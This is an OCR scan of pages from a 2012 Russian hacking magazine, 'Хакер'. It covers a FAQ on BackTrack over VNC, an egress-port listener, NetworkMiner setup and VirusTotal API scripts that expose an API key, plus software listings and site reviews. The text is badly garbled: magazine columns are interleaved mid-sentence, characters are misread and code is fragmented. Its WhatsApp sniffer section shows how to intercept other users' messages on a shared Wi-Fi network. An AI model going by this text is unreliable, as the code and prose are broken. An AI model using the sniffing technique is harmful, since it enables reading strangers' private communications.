Итак, у нас заnущена доп о лни тел ь ная ОС, на ней крути т ся V NC -cepвep -осталось nрисоединиться к нему
строке хакерекого дистрибутива! Набираем
VNС-клиентом. В
в терминале: «ехрогt USER=гoot». В ц елях
клиентов, и можно использовать л юбой из них
Google Play есть
немало VNС
безопасности мож н о с помощью команды
[я использую And гo id
vncpasswd изменить параль для VNC [или оста
полный доступ к BackTгack'y, достаточно вы
вить все по умолчанию и использовать дефолт
полнить соединение. с
ный tooгtooгl. После этого можно запустить
BackTгack на планшете с минимумом усилийl
непосредственно VNС- дем он: sta гt v п c.
Разве не круто?
05 / 160/ 2012
EPIDEMZ.NET
VNC). Чтобы п олучи т ь localhost:5901.
Вуаля:
UNITS/ FAQ UNITED
и диапазон портов, которые нужно проверить.
r:t
Все мои друзья начали активно
>>>
использовать WhatsApp- приложение,
»> host = "www.virustotal.com"
На внешнем хае те, в свою очередь, запускает
a.l
ся «слушатель» :
доступное для самых разных мобильных
устройств и позволяющее бесплатно
python egress_li stener .py 1-1888
обмениваться сообщениями. По сути, это тот
import postfile
sel ector = "https://www.virustotal.com/ vtapi/v2/filejscan" >>> fields = [( "apikey" , "lfe0ef 5feca2f84eЬ4 >>>
же самый iпstaпt messageг, но привязанный Если соединение будет установлено, то
к номеру сотового телефона. А можно ли пере
очень сксrро ты увидишь что-то вроде:
хватитьтакие сообщения?
192.168.235.131 connected on port: 178 192.168.235.131 connected оп port: 171
~
181
семимильными шагами. Привязка
и в самом деле идет по миру
50bc3617f839e317Ыa686af9bada77a5220" )]
file_to_send=open( "test.txt" , "rb" ).read() files [ ( "file" , "test. txt" , file_to_send)] json = postfile . post_multipart( host, selector, fields, files) » > print j son
>>> » > >>>
к номеру телефона играет свою роль: поскольку сервис знает, кто уже зарегистри
"response_code" : 1,
зова нию бинарники можно скача ть отсюда: Ь.i.L
ровался, то сразу после заnуска ты получишь
#
ly/HSWxfv.
готовый контакт-лист для общения на основе
Исходный код решения и готовые к исполь
r:t
a.l
nроnущено
заnисной книжки твоего телефона. Что
"scan_id" : "999f7d93aa3d4ala94cccfЬ4ea96bc 2e28fd48020a4aa2dc7e215f27bc01324376258" ,
Купил ноутбук, на котором, о ужас,
касается безопасности, т о сообщения
#
в углу стоит не Ctгl, а Fп. Никак не могу
передаются через интернет, причем по
к этому привыкнуть . Как вернуть на место?
обычному НТТР
IHTTPS
nроnущено
пока используется
Сервер возвращает JSОN-объект. Обрати
только для установки статуса). Соответствен
внимание на параметр
но, без труда можно перехватить, к примеру,
ты далее можешь получить отчет о проведен
181
сообщения и файлы, которые передают
нам сканировании:
поменять местами
друзья, использующие ту же самую беспро
n
Во· первых, в БИОСе часто есть
специальная функция, позволяющая Fn и Ctrl . Как правило, ее можно найти в <<Co nfig 7 Keyboard and Mouse 7 Fn and Ctrl Кеу Swap>>. Однако такая возмож ность есть не всегда, и в этом случае можно
водн ую сеть. Умельцы уже даже написали на
Scapy скрипт,
vtapi/v2/file/report" parameters = { "resource" : "99017fбeebbac24f3522d" , "apikey" : "1fe0ef5feca2f84eЬ450bc361
>>>
перебиндить клавиши на уровне оnерационной системы. Чтобы не ковыряться в реес тр е, можно заюза ть для этого утилиту
Microsoft
Keyboard Layout Creator I Ьit. l y/HdH P y l ).
r:t
Необходимо под Liпux ' oм распарсить
a.l
DYN:-/whatsapp# python sniffer.py wlan8 ######################### ## whatsapp sniff v8.1 ## ## qni x@8x88.org ## #########################
большой дамп с трафиком, который
сохранен в РСАР-формате . Необходимо
вытащить все файлы, которые передавались
[+] Interface : wlan8 tcp port 5222 [ +] filter
по НТТР. Как?
n
Идеальная программа для этого,
пожалуй, Network Мiпег lwww.netresec . com/?page-NetworkMiner), которая имеет
***********
Msg
Hello, I will send you а file ********** .jpg https: // mms *.whatsapp.net / a1/8/1/2/3/ *md5ha sh*.jpg
То
прекрасный GUI-интерфейс и мастерски
URL
Filename
извлечет всю интересную информацию из РСАР-файла. Н ебо льшая пр облема в том, что эта пр ограмма изначально разрабатывалась
Windows,
7f839е317Ь2аб8ба4dб51а77а522201Ь0"
}
data = urllib.urlencode(parameters) req = urlliЫ.Request(url, data) response = urlliЫ.urlopen(req) json = response.read() >» print json >>> >>> >>> >>>
{ То
181
п од
его помощью
»> url = "https://www.virustotal . com/
который полностью автомати
зирует процесс I Ox80.oгg/Ыog/?p=652 ):
scan_id : с
но не та к д авно ее стало
r:t
В рамках своегонебольшого проекта
.:,а разрешаю пользователям заливать
возможно запускать в других ОС. Это значит,
исполняемые файлы на сервер. Думаю , вы
что нет необходимости больше использовать
не сильно удивитесь, что очень скоро под
для этого костыльный
Wine . Гораздо лучшей алыерн~тивой является Mono, которая позволит работать NetworkMiner'y под тем же Linux почти как нативное приложение. На Ubuntu она запускается так:
# про п ущено "scans" : { "nProtect" : "detected" : true, "version" : "2010-05-14.01" , "result" : "Trojan . Generic.З611249" , "update" : "20100514"
}, -QuickHeal" : { "detected" : true, "version" : "10.00" , "result" : "Trojan.VB.acgy" , "update" : "20100514"
"САТ
видом вкусного контента особо умные товарищи начали размещать трояны.
Хотелось бы максимально защитить
},
посетителейоттакой ситуации . Как
"McAfee" : { "detected" : true, "version" : "5.400.0.1158" , "result" : "Generic . dx!rkx" , "update" : "20100515"
настроить автоматическую проверку всех
заливаемых файлов антивирусом?
sudo apt-get install \ libmono-winforms2.8-cil wget sourceforge.net / projects/networkminer/ files/latest -0 /tmp/ networkminer. zip sudo unzip /tmp/networkminer. zip -d /opt / cd /opt/NetworkMiner_1-2 sudo chmod +х NetworkMiner.exe sudo chmod -R ga+w AssemЬled F iles/ sudo chmod -R ga+w Captures/ mono NetworkМiner.exe
n
181
Проще всего не изобретать велосипед,
а доверить проверку файлов тем, кто это
уже делает:). В сем известный сервис
}' про п ущено
VirusTotall www.viгustota l .com ) предоставляет бесплатный
API
для не коммерческих проек
тов- ViгusTotal PuЫic
API v2.0.
Это значит, что
Моментально получить ответ, заражен файл или нет, ты не сможешь: док умент сначала
любой файл, который ты будешь получать на
попадает в очередь. Время ожи дания прежде,
вход, можно тут же проверить не одним,
чем ViгusTotal прогонит тесты, может составить
а сразу несколькими антивирусными движка
ми, которые есть в сос таве П о сути, все , что от тебя требуется,
#
VirusTotal'a.
несколько часов в зависимости от нагрузки на
сервер. Примечательно, что помимо файлов
В следую щем простом примере мы отnравляем
через
скормить РСАР-дамп и изучать результаты
на тест файл
сервис также будет проверять их на возможное
анализатора .
который сервис выдает при регистрации:
test.txt,
передав свой АРI-ключ,
API
можно передавать еще и ссылки :
заражение . :х:
ХАКЕР
EPIDEMZ.NET
05/160/2012
~g_Q]l
Rapidjson
О. 1
Gooqle Т est 1.6.0 MetaiScroll 1.0.11 QOeveloo 0.28
>Misc
Alt+Tab Tuner 1.0.1 Close All1.3 OevVicky Word 9'el eo 1.1 Folder2MvPC 1.9 Glint 1.28 LeftSider 1.03 LiberKey 5.6 Logon Screen 2.54 Switcher 2.0.0
Makagiga 4.2 Mundus 1.1.0
PeerBiock 1.1 ProxvSwa Serv-U 11.3.0.2
MKTwitter
Lunascape 6.6.0
Recol11.17.0 Rubyripper 0.6.2 Taskwarrior 2.0.0 Twin 0.6.2 Unsettinas 0.05 Uothesvnc 1.3.1 Zathura 0.1. 1
Musicpaused
sqlifuzzer 0.5 Thread Fix Vanguard
_
Heappie!
Junkie 2.0.0 Mercury 1.0 Openssl 1.0.1 OWASP GoaiDroid Project Version 0.1.2 ВЕТА owtf 0.13 Рас 3.4 Penguin eills 0.4.3 _____ Shinken 1:ОТ
lnkscaoe 0.48.2
O~ler2.1
AOS L Saeed Т est Cebmtachat 0.1.6 Digital Ja nitor 5.3 ONSBench Exodus 0.10 Feed Notifier 2.5 GNS3 0.8.2
Win7shell 2.0 Win FF 1.4.2 Xvi04PSP 5.1 О
Wavosaur 1.0.6
Gnupl0i4.6.0 Handbrake 0.9.6
>Security
>Net
>Deskt"o-p _ _ _ _ _ __
»UNIX
Akane 1.3.2 Audacity 2.0 Aura 1.8 Banshee 2.4.0
XvideoserViCet;hci~e;-; 1 2"".4-с-.""1- - -
~g~g470r 3.2 OЬittorrenl 2.9.7 Quirc 0.9.0 Qulecom 2.2.1 R3r 2.1.3 Retroshare 0.5.3Ь
ADB Fuzz Adobe SWF lnvestiqator AFLoaical 1.5.2 Arno -ip taЬies 2.0с. .1~ Ь_ _ _ _ backfuzz Clamav О. 97.4 Ettercap 0.7.4.1 Laza ru s
Power Video Player 1.2 Solash Lite 1. 7.1
WinContia 1.05
Unknown Devices 1.5.2
PerfectOisk 12.5 SoaceSniffer 1.1.4.0 ~m Mover 1.2
Edition 7.1
Phplist 2.10.18
Ноте
f>l.<!gl.r!lJ 0.2
Partition Wizard
:.Multimedia
Anki 1.2.8
~11.61
4.8.2
1.12.0
_
Switch 1.0 WiFiSov 1.0.1 Х Lossless Oecoder 20120407 XtraFinder 0.4 yEd 3.9.1 Yummv FTP 1.8. 9
Smart Converter 1.4.3
MacVim 7.3 Private Еуе 1.0.0 qBitTorrent 2.9.7
Mac~er1 .0
Colloquy 2.4 Disk Drill1 .7.185 ONSCrypt 0.10 _ MacFort 3.5.0.1
avast! Free Antivirus 7.0
AMPPS 1.7 AooOelete 3.2.6
»МАС
bГagOпirybsd 3.0.2 Pclinuxos 2012-02
>X~distr
Xoro~s~_rver
Wine 1.4
Openvz 3.1 Parted 3.1 Ssterm 1.3 Virtualbox 4.1.10
МonitOrix 2.5.0
Мс
Ktorrent 4.2.0 Mibew 1.6.4
USB History Viewer Windows OouЬie Explorer 0.4
5.0
Linux 3.3
Gnome: gmaii1.8.2~---
TaskbarSvstemMonitor 0.3 TaTuich
·-
~;~~~~;·i:131'-"·~; .-·3=---Gnash 0.8. iO
Oesktops 1.02 F.l ux
Acronis Drive Monitor
>Net Balanceng~
Easylife 3.1 Etch 3.20.1 Grep 2.11 Handlersocket 1.1.0 Hplip 3.12.2 Кlish 1.5.3
>System
Collusion 0.16.2
MariO 1.6 Oolite 1.76 Xonotic 0.6-.0- -
>Games
Pure-ftpd 1.0.35 Samba 3.6.3 Sendmail 8.14.5 Snort 2. 9.2.1 Sqlite 3.7.11 Squid 3.1.19 Syslog-ng 3.3.4 Unbound 1.4.16 Vsftpd 2.3.5
~resql9.1.3
>System
1.3 beta WinPatro12012 X-Rav 1.0
Windows Credentials Ed itor
Shinken 1.0.1 SSLCoo 1.0 TC Hunt 1.6 ThreadFix ThreadFix 1.0 USB Safeauard 5.0 Vanguard
Malware Classifier
inSSIOer 2.1 ioctiЬI 0.4 kerckhoffs
Неар~
~riffon1.4.1
Cean 2.0 Editra 0.6. 99 Eigen 3.0.5 Gcc 4.7.0 Gltw 2.7.4 Gtk 3.3.20 lmsettinqs 1.2.8.1 Kdevelop 4.3.0 Lazarus О. 9.30.4 Tcpdf 5.9.1;;: 53; = ' - ' - - - - т esseract 1.01 Whiskey 0.6.7 Wxwidg~ 2 "'-.9'-'.3, __ _ _ __ Yioop 0.84
>Security
Adobe SWF lnvestiqa tor backfuzz CANAPE 1.0 Et tercap 0.7.4.1 Heappie 1.01
CrashRpt 1.3.0 CruiseControl 2.8.4
Checkheaders 1.0.1
Arcadia 0.11.1.1 Argoum l 0.34 Arg parser 1. 7 Bazaar 2.5.0
CommitMonitor 1.8.1
>Server
Apache 2.2.22 Asterisk 10.2.1 Bind 9.9.0 Cups 1.5.2 Dhcp 4.2.3-р2 Oovecot 2.1.3 Freeradius 2.1.12 Lighttpd 1.4.30 Mysql 5.5.22 Nsd 3.2.10 Openldap 2.4.30 Openvpn 2.2.2 Postfix 2. 9.1
>Devel
Vacuum-IM 1.1.2 WeFi 4.0.1 Xming 6.9.0.31 zButterflv 1.2
»WINDOWS >Development
RockScroll 1.0 SQL Watch 4.0 SuЬiime Т ext 2 beta Symfony 2.0 TortoiseGit 1.7.7 Т ortoiseHa 2.3. 1 Twitlib 2.0 Visual Studio 2011 Beta
EPIDEMZ.NET
.
..
ОПАСНАЯ. РАЗМЕТ НЕПРАВИЛЬНОЙ 05РА50ТКИ РАЗМЕТКИХМL .
ИЗ НИХ ГРЕШАТ УЯЗВИМОСТАМИ ИЗ-ЗА
КАЖДОМ ВТОРОМ ПРИЛОЖЕН ИИ . И 50ЛЬШИНСТВО
XML- ТРАНСПОРТ ИСПОЛЬЗУЕТСЯ ЧУТЬ ЛИ НЕ В
ХУЛИГАНОВ
ПЕРЕХВАТТРАФИКА ЧЕРЕЗWРАD
-
.
САМЫЕ НЕОБЫЧНЫЕ У СТРОЙ С ТВА С LINU Xe
ОПЛАТЫ
ТЕРМИ Н АЛОВ
СОЗДАТЕЛЕМ
ИН ТЕРВЬЮ(
СЕТ Е ВОЕ Х РА НИЛ И Щ Е ИЗ СТАРО Г О ЖЕЛЕЗА
С ОБ И РАЕ М
GO OGLE
-·-·-
КАКУСТРО ЕН
-·-
ЦЕНА:230р.
РЕКОМЕНДОВАННАЯ
UNITS/WWW2
Llk~ir~kw~~ ~d~.e~du~------------~~ li!l
vpnhunter.co m Чтобы сотрудники имели возможность удаленно обращаться к ресурсам комnании,
SSLYPNs YPNIV*--.-d8n&.SSLVPNIJooм
Cllм.FolloW.
(ЧiOIIШOiiil;l
R.
_ _ __............,.CO.CO,P81oAio,
lloAo:WAU..s-.-.мc-o~t.-At>rt. VPН!Volwllllll--.10
c~Мtcl......__-.l_..._.oon•81'11018c1onthei"'"'SSI.IIf>Na.
nовсеместно исnользуется
VPN
и достуn к удаленному рабочему столу. Но если не
включена двухфакторная авторизация, то логин и па роль, украденные, к пример у, с по
мощью фишинга,- единственное, что отделяет злоумышленника от внутренней сети. Что делает
VPN Hunteг? Он сканируе т заданный URL и пы т ается опре д елить, есть ли у VPN и как э т о реализовано. Вдобавок осуществляется поиск сервисов для удаленного доступа IIPsec, РРТР, OpenVPN, RDP и SSH], а также еmаil-порталов !Outlook Web Арр, Gmail и Zimbra] . этой компании
Remote Access VPNНurolw...Uoo.tiW-roi
_ _ _ I/W, _ _ ... PfOIQCOIIU..IP18C.
Автоматизированный поиск VРN~серверов и технологий для удаленного доступа
l:llllh'·i4 bitcasa.com
Welcome to lnflnlte Storagel Вial8~~
... cloud~ln0./Ayandl'itllyouroppo1111N!yl0 ihlop81h8....".!
Этот сервис предоставляет практически тот же функционал, что и
Dropbox,
о дна ко
никак не о граничива е т количество дискового про ст ранства в облаке, куда можно за
грузить файлы. В будущем
Bitcasa обещает стать платным !около 10 долларов в месяц],
но на время бета-тести р ования д оступе н всем безвозмез дн о. Зарегистрироваться,
1, DOWNLOAD & !NSTALL Вi~saiDryour()ponlt,ng Sys1ttn.
правда, пока можно только по приглашению, но его легко отыскат ь на про сторах рунета
!просто н абери в поисковике «инвайт Bitcasa »]. Уже сейчас доступны клиенты для
Windows
и Мае
05
Х, и мы ими активно пользуемся, а в скором времени разработчики
обе щают релиэ и для
Linux.
Онлайн-хранилище данныхснеограниченным объемом и возможностью синхронизации данных между компьютерами
--
'"'
•
--
А!
_ __ ... ___
WAYBACK MACHINE ~
· - - ... - " ..... _ . _ _ _ " ... _ _ _ _ _ _ flllit
aгchive . o r g/weЬ!web . php Ищ ешь сайт, который уже давно исчез? Н апример, свой сайт, который делал в 7-м
классе, чтобы раздавать на нем кряки?:] Удивительно, но по-прежнему лишь немногие знают о «машине времени интернета >> - проекте
Wayback Machine.
Этот вnечатляющий
сервис архивирует nрактически все страницы интернета, созда вая их копии в разные
временные промежутки. Таким образом, это не просто способ найти давно не суще 11
•
't.
ствующую страницу - это возможность отследить развитие какого-нибудь проекта )1
Машина времени интернета, где можно увидеть те страницы,
во времени !начиная с страницы
1996 года]. Очень любопытно посмотреть , к примеру, главные
и Яндекса .
к оторые давно не существуют
ANDROID BUILDER www.android-builder.ru У тебя смартфон на Andгoid? Э т о т у н икальный сервис позволяет создать сво ю собствен
ную кастомную прошивку. Разрабатывает ся он гиками с форума 4PDA .Ru ! уж кто-кто, а э т и парни з нают все о кастомизации смартфоновl. Собирается fiгmware через уд обн ый, хотя и довольно топорный интерфейс- на основе популярны х модов и ядер, с воз можностью пред уста новить разнообразные прил оже ния . Правда , поддер жи ва емых
смар тф онов п ока не очень много - вс его де ся т ок !важное требование заключается в том, чтобы дева йс поддерживал так называемый clockworkmod гecovery]. Но оно и по нятно: сервис nока работает в тестовом режиме. Соэдание кастамной проwивки для Android в несколько кликов
,,,
ХАКЕР
EPIDEMZ.NET
05/160/ 2012
. 1
~-
"
:18-20 МАЯ
r
С
18 по 20 мая в МВЦ «Крокус
Экспо» состоится выставка трендав
XXI века - TrendShow Moscow 20 12.* Вы окажетесь в эпицентре трендав
из всех областей современной жизни.
trend show
www.trendshow.ru * TrendShow Москва 2012.
EPIDEMZ.NET
EPIDEMZ.NET